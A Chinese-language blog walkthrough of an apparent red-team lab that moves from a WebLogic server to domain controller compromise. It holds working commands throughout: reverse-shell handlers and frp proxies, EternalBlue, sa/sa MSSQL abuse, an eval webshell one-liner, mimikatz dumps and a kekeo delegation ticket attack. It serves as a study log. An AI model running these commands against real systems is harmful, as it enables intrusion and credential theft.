• 外网 weblogic 服务器


    不知道为什么 ping 不通,直接访问 7001,上一波 weblogic 扫描器直接拿下
    image-20220303185452353
    除此之外还可以试试 weblogic 的常用弱口令(github),这里有 weblogic/weblogic123可以直接进后台,可利用的漏洞点就不限于前台的反序列化 rce 了。
    传个?上去,用冰蝎链接做后续攻击。但这里遇到的一个问题就是?的路径选择
    写入console images目录
    物理路径:C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
    访问路径:
    /console/framework/skins/wlsconsole/images/shell.jsp
    能传上但访问404
    

    写入uddiexplorer目录中
    物理路径:
    C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
    访问路径:
    /uddiexplorer/shell.jsp
    (发现没这个目录)
    

    写入应用安装目录
    物理路径:C:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
    访问路径:
    /项目名/shell.jsp
    (也没路径)
    

    传马失败,等解决了再回来补,这里直接用 CS 生成 powershell 上线了。
    image-20220303201150831
  • 域内个人PC


    做一波信息收集,首先可以确认是没有域,只有两个网段,需要做横向。
    image-20220303203319380
    mimikatz 抓一下密码,win 2012 抓不到明文,能不能通过其他方式拿暂且放一下,继续做横向,用 portscan 扫一下子网,发现 10.10.20.7 主机,传个代理继续打。
    不知道为什么 ew 用不了,所以改用 frp
    攻击机:
    [common]
    bind_addr =0.0.0.0
    bind_port = 7000
    

    跳板机:
    [common]
    server_addr = 192.168.0.128
    server_port = 7000
    
    [plugin_socks]
    type = tcp
    remote_port = 7777
    plugin = socks5
    

    用 CS 派生一个监听道到 msf,用 msf 继续打横向:
    use exploit/multi/handler 
    set payload windows/meterpreter/reverse_http
    set lhost 192.168.0.128
    set lport 20001
    连上之后迁移进程
    run post/windows/manage/migrate
    

    msf 挂上代理打永恒之蓝:
    set Proxies socks5:192.168.0.128:7777
    set ReverseAllowProxy true
    

    永恒之蓝的 shell 不稳定,容易打蓝屏,派生到 CS 上继续攻击,但这里有个重要的问题:win7包括域内主机都不出网,通常的手段是用 msf 正向(防火墙限制)或用 CS 中转。
    image-20220304105521144
    比较无法理解的是不知道为什么生成 powershell command 不能选择 CS 中继 Listener,但生成 exe 就可以,第二个坑待会补,用 msf 传 exe 弹到 CS 中继上。
    在打的时候一直反弹不回来,后来想了想才发现 weblogic 主机没关防火墙,ping 都 ping 不通。。。
    最后弹回来了,永恒之蓝打的,还是个 system 权限,可以开始打域控了。
    注意这里不要直接用 ms17_010_eternalblue 打,很容易打蓝屏,用 ms17_010_comman 弹命令开远程桌面打。(但这里会有各种奇奇怪怪的bug,算第三个坑)
    最后还是用 ms17_010_eternalblue 打的。。。。。。
    image-20220304121350143
  • 域渗透


    先做本机信息收集,win7系统,另一张网卡 10.10.10.0/24,存在域 redteam.red,没什么补丁,探测一下域环境。然而现在是 system 权限不在域中,考虑用 msf 的 steal_token 实现降权,重新反弹一个 shell 到 CS 中。
    image-20220304142516587
    继续利用 CS 进行域信息收集,域控 10.10.10.8,域管理员 administrator,还有一台 sqlserver 机器。
    image-20220304154659390
    考虑打域控的几种思路:
    1. 抓密码或 dump 密码,但运行 mimikatz 只能看到 saul 的密码,利用价值不大。
    2. 尝试令牌窃取,但 ps 中没有域控进程,遂放弃
    3. 已有漏洞,如 zerologon 的重置密码等
    4. 委派,先打其他主机
    5. 待补充,但可参考 https://github.com/infosecn1nja/AD-Attack-Defense

    这里尝试通过委派打其他主机,其他方式见坑4。
    传一个 Adfind 上去,查找一下配置了委派的用户
    查询配置了非约束委派的主机:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    查询配置了非约束委派的用户:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    查询配置了约束委派的主机:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    查询配置了约束委派的用户:
    AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    

    非约束主机:sqlserver 和 域控
    image-20220304163347119
    非约束用户:saulgoodman
    image-20220304163441281
    约束委派用户:sqlserver
    image-20220304163612633
    考虑到非约束委派在实战中需要被域管访问,比较鸡肋(不鸡肋的打法见坑5)
    这里用约束委派攻击,但首先要拿下 sqlserver 这台机器,传个 fscan 做一下端口扫描。
    shell fscan64.exe -np -h 10.10.10.0/24
    

    80没东西,爆破一下1443 的 sa 用户,密码 sa,传个工具进行连接,这里选用的是 SqlKnife
    shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --xpcmd -c whoami
    

    image-20220304175322285
    但只是个数据库权限,要想办法提权,但现在这个 shell 很难用,记起来还有个 web 服务,考虑在 web 服务器目录下写shell,但权限太小遂放弃。
    最后用 EfsPotato 提权成功
    shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 --3 --fix
    shell SqlKnife.exe -H 10.10.10.18 -P 1433 -u sa -p sa --dbup2 -c whoami
    

    image-20220304190539096
    这就是拿到一个 system 权限了。
    但很鸡肋执行起来有各种问题,在这里卡了好久也没有合适的攻击方法,最终还是又用了 frp 搭了一层代理,让最外层的 kali 能直接访问 10.10.10.0/24。
    frpc.ini
    [common]
    server_addr = 10.10.20.12
    server_port = 9000
    
    [plugin_socks]
    type = tcp
    remote_port = 9999
    plugin = socks5
    

    frps.ini
    [common]
    bind_addr =0.0.0.0
    bind_port = 9000
    

    然后在 kali 的 proxychains4的 配置文件如下:
    image-20220304211645931
    直接挂代理起 msf,用 exploit/windows/mssql/mssql_clr_payload 模块之间打(注意设用户密码)
    用拿下的 win7 做中继,用 CS 生成马,通过 meterpreter 传上去,要注意这里存在权限问题,所以选了这个可读可写可执行的目录。
    image-20220304214533360
    也可以直接用 https://github.com/RowTeam/SharpSQLTools/ 带GUI界面执行文件。
    但不知道为什么一直没办法反弹到 cs 上,(或许不能弹中继的中继?)
    最后还是用 msf 生成正向 shell 的马传到 sqlserver 上,再用 再用 EfsPotato 提权后去执行,得到一个 system 权限的 meterpreter。(其实这里用 CS 的 beacon_tcp 也可以实现正向连接)
    msf监听:
    handler -p windows/x64/meterpreter/bind_tcp -H 10.10.10.18 -P 30003
    

    cs 跳板机正向连接
    connect 10.10.10.18 30004
    

    或者先在用 msf 写一个 bat,再用 EfsPotato 提权后去执行(这个 system 不能写只能执行),向 80 端口中写一个 webshell 连接上
    image-20220305202622332
    shell.bat:
    echo ^<%%^@Page Language^=^"Jscript^"%%^>^<%%eval^(Request^.Item^[^"saul^"^]^,^"unsafe^"^)^;%%^> > c:\inetpub\wwwroot\1.aspx
    

    连上 webshell 之后就要想办法提权了
    查询当前系统缺失的常见可用于提权的补丁:
    systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt
    

    (坑。。。。。。具体试了几个都有各种限制)
    总而言之拿到了一个 msf 的 system 的shell,可以继续约束委派攻击了。
    先抓一波密码:
    image-20220305223326202
    这里的 sqlserver 是配置了约束委派的用户,降权到 sqlserver,传一个 kekeo 继续攻击
    请求用户的 TGT
    kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" > 1.txt 
    

    用生成的 TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi 获取域机器的 ST:
    kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red" > 2.txt
    

    最后用 mimikatz 将 ST2 导入当前会话
    mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi
    

    此时已经和域控建立了 ipc 会话,可以直接远程查看
    image-20220306203648083
    拿到 flag。
  • 没解决的问题:


    • 一路的坑,之后慢慢填
    • CS 和 MSF 操作上有很多的问题
    • 多层内网的反弹 shell(后来一直都是正向链接,有防火墙的话就很难受)
    • 没过杀软,大问题
    • 流量不够隐蔽,没有很好的利用各种隧道隐藏技术
  • 参考文献


标签: none

添加新评论